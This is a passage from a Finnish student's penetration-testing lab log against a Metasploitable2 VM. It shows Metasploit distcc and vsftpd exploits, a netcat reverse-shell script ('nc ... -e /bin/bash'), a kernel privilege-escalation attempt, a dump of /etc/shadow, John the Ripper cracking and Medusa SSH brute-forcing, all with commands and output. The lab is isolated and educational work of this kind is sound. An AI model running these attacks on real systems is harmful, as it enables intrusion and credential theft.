laitetaan se päälle VB:ssä. Kalikin pitää sulkea sitä varten vielä. Settings –> Network –> Adapter 1 (Attached to: NAT) –> Enable Network Adapter. Käynnistetään Kali uudestaan molemmilla verkkokorteilla.

Asennetaan Sparta GeeksforGeeks ohjeita (päivitetty 2021 kesäkuussa, joten voisi kuvitella että tuoreet ohjeet, vaan eipä olleet kuten kohta selviää):

apt-get update && apt-get install sparta python-requests Permission denied sudo !! Could not open lock file … are you root? sudo -i uudestaan: apt-get update && apt-get install sparta python-requests

Package sparta is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source

E: Package 'sparta' has no installation candidate
E: Unable to locate package python-requests

Errmmm… aivan kuin spartaa ei haluttaisi asennettavaksi? Ahaa, Sparta on poistunut Kalista Python-kielen vanhan version vuoksi ja korvattu LEGION:lla.

Katsotaan löytyykö se Kalista, poistutaan rootista ensin exit sitten legion -v must run as root, lol sudo !! ja vaikka yritin katsoa vain versiota avaa se koko ohjelman. Otetaan Kali jälleen pois netistä ja poistetaan sen julkiseen verkkoon yhteydessä oleva verkkokortti käytöstä Settings –> Network ja täppä pois päältä.

Jatketaan harjoituksia. Laitetaan Kali ja Metasploitable2 koneet päälle ja pingataan molemmilla Googlea ping 8.8.8.8 varmuudeksi, Network is unreachable, hyvä.

(We are a) LEGION

Käynnistetään Legion ja verrataan seurattavien ohjeiden Spartaan, näyttää hyvin samalta.

legion

legion.PNG

Klikataan “Click here to add host(s) to scope” ja asetetaan Metasploitable2 koneen ip sinne. Legionissa näyttää olevan paljon enemmän vaihtoehtoja kuin Spartassa skannauksen laatuun liittyen, vain “Run nmap host discovery” ja “Run stage nmap scan” ovat pysyneet samana. Legionissa on lisäksi Mode Selection (Easy defaulttina) ja Timing and Performance Options (Aggressive defaulttina, kolme pienintä vaihtoehtoa hauskat “Paranoid, Sneaky ja Polite”).

Tiedustelu: T1595 Active Scanning

Seuraavaksi käytetään Mitre Att&ck tiedustelutaktiikan tekniikan Active Scanning alatekniikoita .001 Scanning IP Blocks ja .002 Vulnerability Scanning. Jatkoa varten ajatellen Nessus-haavoittuvuusskannerin asentaminen ja siihen tutustuminen voi olla hyvä idea (idea saatu aiemmin linkatusta Metasploit-manuskasta: The Easiest Metasploit Guide You’ll Ever Read: https://www.tenable.com/products/nessus.

Painetaan Submit ip:n asettamisen jälkeen defaulteilla. Aloittaa heti skannauksen. Skannaus on ilmeisesti aika perusteellinen ja siinä käytetään useita työkaluja joista nmap nyt vain yksi mainitakseni. Eli Legionhan on kolmas työkalu jolla olemme tehneet verkon skannauksen, aiemmissa tehtävissä sama tehty nmapilla ja netdiscoveryllä. Netdiscovery vaikutti Legionaa paljon hitaammalta ja ei niin monipuoliselta, ja lisäksi se antoi niitä hämmentäviä osumia joita en osannut analysoida. Nmap on nopein, mutta se on vain yksi työkaluista joita Legion käyttää.

Jatketaan kuitenkin Spartaa käyttävän ohjeen seuraamista, kuinka siellä analysoidaan tuloksia ja löytyvätkö nuo samat ominaisuudet myös Legionasta. Eli ohjeen tekijähän käytti Spartaa haavoittuvien kohteiden etsimiseen, Metasploittia niiden hyödyntämiseen ja searchsploittia käyttöoikeuksien kasvattamis hyökkäysten etsimiseen. Kuitenkin ohjeessa ei anneta mitään vihjettä siihen, kuinka tekijä tunnistaa portissa 3632 olevan distccd-palvelun (joka löytyy myös Legionin tuloksista) haavoittuvaksi. Tämä olisi ollut hyvin kiinnostavaa. Sen sijaan tekijä toteaa vain, että DistCC käytetään “to scale large compiler jobs across systems” ja että “it can be abused to execute arbitrary commands”. Tietäjät tietää, minä en.

Avataan uusi terminaali ja avataan siellä msfconsole. Nyt varsinaisesti vasta etsitään haavoittuvuuksia palvelua vastaan: search distcc. Sieltä löytyy yksi moduuli:

Matching Modules
================
   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec

Katsotaan sen tiedot info exploit/unix/misc/distcc_exec. Mitä tiedoista voidaan päätellä:

Okei. Otetaan moduuli käyttöön: use exploit/unix/misc/ditcc_exec. Asetetaan sille kohde: set RHOSTS 192.168.233.3. Varmistetaan: info. Kaikki kuten pitääkin, käytetään hyökkäystä: exploit. Exploit failed, a payload has not been selected. Katsotaan omista ohjeista miten Payload asetettiin viimeksi. Katsotaan show payloads, hirveästi Compatible Payloads (13), valitaan neljäs unix/generic fiiliksen pohjalta.

set payload payload/cmd/unix/generic

Katsotaan info, Payload information pysyy samana kuin aiemmin “Space: 1024”. Emme osaa tulkita mitä se tarkoittaa, 1024 tarkoittaa varmasti 1024 tavua eli yhtä kilotavua eli tiedostokokoa.

exploit ei mene läpi. Kokeillaan jotain toista payloadia, payloadia 6 reverse_bash. Ja epäonnistumisen jälkeen ensimmäistä (0) payloadia bind_perliä. Jösses, nyt tapahtuu:

[*] Started bind TCP handler against 192.168.233.3:4444
[*] Command shell session 1 opened (192.168.233.5:39109 -> 192.168.233.3:4444) at 2021-11-15 04:02:11 -0500

Ajetaan whoami ja kohdekone vastaa että “daemon”. Olen siis Linux-palveluun liittyvä daemon, okkei. Käsittääkseni daemonina ei ole tarkoitus tosiaan kenenkään linuxia käyttää vaan kyseessä on palveluihin liittyvä tili jota puolestaan ohjeistetaan muilta tileiltä “asenna tämä, poista tuo”, tai sitten se toimii autonomisesti taustalla palvelun mahdollistamiseksi. Mutta asiaan voisi tutustua tarkemmin.

Käyttöoikeuksien kasvattaminen

Ohjeissa sanotaan että käyttöoikeuksien kasvattamiseksi tarvitaan kernel exploit, ja tarvitaan tieto kohteen kernelistä. Linuxin käytöstä on vähän aikaa mutta ohjeiden uname -a ja lsb_release -a ajavat asian.

OS ja versio: Ubuntu 8.04 Kernel: 2.6.24

Sitten etsitään haavoittuvuuksia sitä vastaan searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6. Ohjeen kirjoittajalla on jälleen jotain maagillista tietämystä mitä meillä ei, kun hän päätyy useampi sivuisesta listasta valitsemaan haavoittuvuuksista Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) U | linux/local/8572.c.

Yritään etsiä se hyökkäyskannasta, mutta esimerkin tiedostopolun takana se ei ainakaan ole, koska sellaista polkua ei ole meillä olemassa. Löydetään se /usr/share/exploitdb/exploits/linux/local/8572.c.

Seuraavaksi pitäisi käynnistää kalin apache2 ja asettaa symbolinen linkki exploittien lataukseen. Kokeillaan toimiiko tämä, emmehän ole internetissä.

sudo -i
service apache2 restart
ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/

Eli soft link tästä tänne. Seuraavaksi pitää tehdä tiedosto linkin osoittamaan kansioon, kenties edelleen roottina? Lupaan olla ei-yllättynyt kun tiedosto-oikeudet tulevat olemaan pielessä.

#!/bin/bash
nc 172.16.1.188 12345 -e /bin/bash

Nyt ohjeistetaan olemaan low-privilege shellissä tiedostojen viemistä varten kohteeseen. No mennään pois rootista samassa terminaalissa missä äsken luotiin roottina tiedosto.

cd /tmp ja

┌──(kali㉿kali)-[/tmp]
└─$ wget http://192.168.233.3/run
--2021-11-15 04:38:40--  http://192.168.233.3/run
Connecting to 192.168.233.3:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2021-11-15 04:38:40 ERROR 404: Not Found.

Nonin, eli tuhotaan se rootina luotu tiedosto ja luodaan uudestaan kalina. Paitsi että ei luoda koska ei oikeuksia kansioon, eikä sillä ole tässä väliä. Tällaista tämä on kun ei mieti, eli mehän olemme hakemassa wgetillä run tiedostoa Metasploitablesta jota ei löydy. Mutta miksei niitä siis löydy? Tutkitaan Metasploitable-koneen sisältöä. Mehän ollaan edelleen daemonina sisässä. pwd kertoo että ollaan /tmp-kansiossa. Jahas meillä ei ole oikeuksia liikkua sen ulkopuolelle. Xiitataan ja käydään Metasploitablessa msfadminina. Mietitään vielä hetki lisää. Ohjeessa puhutaan että kalin ip pitää asettaa tiedostoon, minähän olin laittanu Metasploitable-koneen sinne. Ei silläkään ollut väliä.

Myönnetään tosiasiat - emme saa kaikkia harjoituksia dokumentoimisineen valmiiksi tälle kerralle. Palautetaan vajavainen dokumentti ja jatketaan paremmalla ajalla.

John the Ripper

Vannon pyhästi että tein tämän tehtävän tätä oppituntia apinoimalla https://www.youtube.com/watch?v=cGg889St6fg mutta en ennättänyt sitä tehtävien palautusaikaan mennessä dokumentoimaan, koska ajattelin että teen sen myöhemmin uudestaan ajatuksella. Lisään sen jahka joudan.

EDIT: jatketaan harjoitusta varsinaisen tehtävänpalautusajan jo umpeuduttua. Luetaan taustaksi taas vähän blogeja aiheesta, tässä mikä vaikutti miellyttävimmältä: https://www.golinuxcloud.com/john-the-ripper-password-cracker/. Sieltä selviää että JtR tukee kolmea moodia salasanakräkkäykseen:

Alkutoimenpiteet

Harjoituksen testiympäristö siis Kali ja Metasploitable2 virtuaalikoneet. Käynnistetään koneet ja hoidetaan alkutoimenpiteet hyökkääjä Kalilla (oleelliset komennot tässä, koko sekoilu logissa):

mkdir johns
cd johns/
script -fa johntheripper
ping 8.8.8.8
nmap 192.168.233.0/24 -oA scan4john2
nmap -sV 192.168.233.3 -oA u4john
msfconsole -q 
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
info 
set RHOSTS 192.168.233.3
show options
exploit
whoami
# Metasploitablessa root
cat /etc/passwd
# copy 
# Kalissa .../johns
nano passwd
# paste
# Metasploitablessa root
cat /etc/shadow
# copy
# Kalissa .../jonhs
nano shadow
# paste

Nyt meillä on copy-pastattuna passwd ja shadow tiedostostot hyökkääjä Kalissa. Eli passwd:ssä on käyttäjätunnarit ja shadow kryptatut salasanat. Nyt seuraa uusi vaihe, ajetaan hyökkääjä Kalissa John the Ripper unshadow komento:

unshadow passwd shadow > johnsvictims

Nyt kryptatut salasanat ja käyttäjätunnarit on yhdistetty samalle riville, tätä tarvitaan varsinaisen kräkkäyksen aloittamiseen JtR:llä.

OS Credential Dumping T1003

Aloitetaan tilitietojen dumppaamimen, käytetty alatekniikka **.008 /etc/passwd and /etc/shadow **:

┌──(kali㉿kali)-[~/johns]
└─$ john johnsvictims 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
user             (user)
postgres         (postgres)
Warning: Only 20 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 32 candidates buffered for the current salt, minimum 48 needed for performance.
msfadmin         (msfadmin)
Warning: Only 21 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 33 candidates buffered for the current salt, minimum 48 needed for performance.
service          (service)
Warning: Only 30 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 37 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 38 candidates buffered for the current salt, minimum 48 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 20 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 21 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 10 candidates buffered for the current salt, minimum 48 needed for performance.
Further messages of this type will be suppressed.
To see less of these warnings, enable 'RelaxKPCWarningCheck' in john.conf
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
123456789        (klog)
batman           (sys)
Proceeding with incremental:ASCII

Noniin, analysoidaan tulokset. Kuten muistetaan ylempää JtR hyökkää kolmella moodilla josta john komento käyttää nähtävästi kaikkia. Ensin on Single Mode joka löysi salasanat (käyttäjille) user (user), postgres (postgres), msfadmin (msfadmin), service (service). Wordlistalla se löysi salasanat klog ja sys käyttäjille sanalistasta /usr/share/john/password.lst. Sitten se siirtyi brute forcettamaan ja olisi meikän mopolla valmis joskus auringon sammumisen jälkeen, joten ctrl + c.

Seuraavaksi esimerkkivideossa näytetään kuinka DVWA:n kautta saatiin myös haettua Command Executionilla /etc/passwd listaus www-data käyttäjänä haavoittuvan verkkosivun syöttökenttään linux-komentoja ajamalla, mutta ei shadow-tiedostoa koska ei root-oikeuksia, ja kuinka siksi pitää aina käyttää verkkopalveluissa omaa www-data käyttäjää.

Jos katsotaan verboosin porttiskannauksen tulokset cat u4john.nmap nähdään että portti 22 ssh on auki.

22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

Seuraavaksi suunnitellaan hyökkäystä ssh-porttia vastaan passwd-tiedoston tietojen pohjalta. Kuvitellaan että haettiin ne vaikka Command Executionilla DVWA:n kautta (ei haettu). Kalissa on valmiiksi asennettuna brute force kräkkeri Medusa.

Brute Force T1110

Seuraavaksi käytetään Brute Forcen alatekniikkaa Password Cracking .002 eli salasanojen kräkkäys.

JtR haki sanalistansa polusta /usr/share/john/password.lst mutta Medusassa voidaan käyttää isompaa salasanalistaa /usr/share/wordlists/rockyou.txt.gz. Ensin tiedosto pitää purkaa (tämä vaihe oli tehty jo), sitten katsomme montako riviä tiedostossa on:

gunzip /usr/share/wordlists/rockyou.txt.gz
wc -l rockyou.txt

14 miljuunaa plus riviä eli salasanaa listassa. Rockyou.txt tietovuodon historia, MySpace mainittu: https://techcrunch.com/2009/12/14/rockyou-hack-security-myspace-facebook-passwords/. Tuoreempi tietovuoto rockyou2021: https://cybernews.com/security/rockyou2021-alltime-largest-password-compilation-leaked/

Seuraavaksi käytetään salasanalistaa Medusan kera. Tein sitä varten vielä medusa-kansion ja victims-tiedoston, mikä oli aiemmin targets nimellä johns-kansiossa. Mutta selkeyden vuoksi.

# uppercaset tiedostoja, lowercaset yksittäisiä instansseja, -M = service, -h = host, -O = success out file
medusa -U victims -P /usr/share/wordlists/rockyou.txt -M ssh -h 192.168.233.3 -O turnedtostone  

Melkein välittömästi tulee osuma:

ACCOUNT FOUND: [ssh] Host: 192.168.233.3 User: klog Password: 123456789 [SUCCESS]

Sillä välin kun sys-salasanaa kräkätään tutustutaan muistin virkistämiseksi jälleen unix-järjestelmien passwd-tiedoston muotoon: https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/.

Ja muutamassa minuutissa myös sys-käyttäjän heikko salasana oli kräkätty. Sitten vain ssh-yhteyttä kohdekoneeseen: ssh sys@192.168.233.3 ja pw “batman” perään.

┌──(kali㉿kali)-[~/medusa]
└─$ ssh sys@192.168.233.3  
sys@192.168.233.3's password: 
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sun Nov 14 13:29:17 2021 from 192.168.233.5
sys@metasploitable:~$